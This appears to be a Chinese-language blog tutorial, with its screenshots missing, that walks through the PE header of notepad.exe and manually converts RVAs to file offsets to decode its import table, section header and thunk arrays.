OptionalHeader的IMAGE_DATA_DIRECTORY在NtHeader的+88h偏移处:
数据结构:

在 IMAGE_DATA_DIRECTORY 中,每一项的都是如下数据结构的展示出来:

在PEview里看到的就是这种结构:

然后找到Import Table的位置:

RVA:7604h
Size:C8
一直到NtHeader结束,文件偏移的大小(Raw Offset)和映射到内存中的大小(Virtual Offset)都已一样长的,也就是偏移量一一对应。
从这里开始,接下来的区块表部分使得Raw Offset和Virtual Offset不相等了。

有两个值特别值得关注:
NtHeader+38h的值指定了内存中的对齐大小。不足按这个大小补足。
NtHeader+3Ch的值指定了文件中的对齐大小。
我们安装系统分区时常说的4K对齐,就是这两个值对齐。

NtHeader+54h的值指定了所有头的总大小:

也就是Section data部分从400h的位置开始。

NtHeader后面紧跟Section Header,根据 数据目录表 推算,notepad.exe的Section Header是从NtHeader +F8h处开始,也就是 E0 + F8h = 1D8。
Section Header是由多个Section Header组成的。1D8h处即使第一个section header的位置。每个section header的大小是28h
从1D8开始的前8个字节对应的是这部分section的Name的ascii码。
notepad.exe中是.text
微软一般用这个名字的section来存代码。之后再偏移1个DWORD对应的是VirtualSize,在notepad.exe中位于1D8h + 8h + 4h的位置,其大小是1000h

再偏移1个DWORD是Size Of Raw Data,其指定了这部分section的大小,大小是7800h:

再偏移1个DWORD就是PointerToRawData,值是400h,他代表的是在文件偏移中的位置,也就是图中左侧那一列的地址:

.text的section header:

VirtualSize1000h
PointerToRawData400h
Size Of Raw Data7800h

Import Table:

RVA7604h
SizeC8

由于.text的大小时1000h开始,偏移7800h的大小,7604h在这部分大小中,所以import table就在.text里。
参考《加密解密》第十一章的介绍,此时 内存偏移 – 文件偏移 的差值△k的值就是△k= 1000h – 400h = C00h

此时RVA – △k= 7604h – C00h = 6A04 ,6A04指向的是一个输入表结构,一个链状的结构,也就是这个输入表结构在文件上的位置。

输入表结构:

notepad.exe的6A04位置:

梳理一个红圈里的这个IID(Image_Import_Descriptor)结构

OriginalFirstThunkTimeDateStampForwarderChainNameFirstThunk
7990FFFFFFFFFFFFFFFF7AAC12C4

然后看看第四部分指向的Name是不是一个dll名称。
第四部分的值是7AAC。这是个内存中的位置。File Offset = Virtual Offset – △k = 7AACh – C00h = 6EACh。
查看notepad.exe中的6EACh中的内容:

结果和CFF的一致:

最后一个IID结构用0填充:

OriginalFirstThunk 指向的是INT(Import Name Table),也就是dll中的函数名称表
FirstThunk指向的是IAT(Import Address Table) ,也就是dll中函数的地址表

下面来看看OriginalFirstThunk 指向的函数名称对不对。
OriginalFirstThunk指向的是一个Image_Thunk_Data结构类型的元素。
Image_Thunk_Data = OriginalFirstThunk – △k = 7990 – C00 = 6D90

红框中每个框对应一个函数名的RVA。
7A7A – C00 = 6E7A (7)
7A5E – C00 = 6E5E (5)‬
7A9E – C00 = 6E9E (9)‬
7A50 – C00 = 6E50‬ (4)
7A40 – C00 = 6E40 (3)
7A8A – C00 = 6E8A (8)
7A6A – C00 = 6E6A‬ (6)
7A14 – C00 = 6E14 (1)
7A2C – C00 = 6E2C (2)

这些虚地址指向的是一个 IMAGE_IMPORT_BY_NAME结构的数据

以00结束。

再来看FirstThunk指向的位置。
12C4 – △k = 12C4 – C00 = 6C4‬

这里记录了9个虚地址。00结束。
和Peview显示的一致:

如果想引用的dll不被列在pe头的Import Table中,那就要动态加载dll,常用的函数是“LoadLibrary”和“GetProcAddress”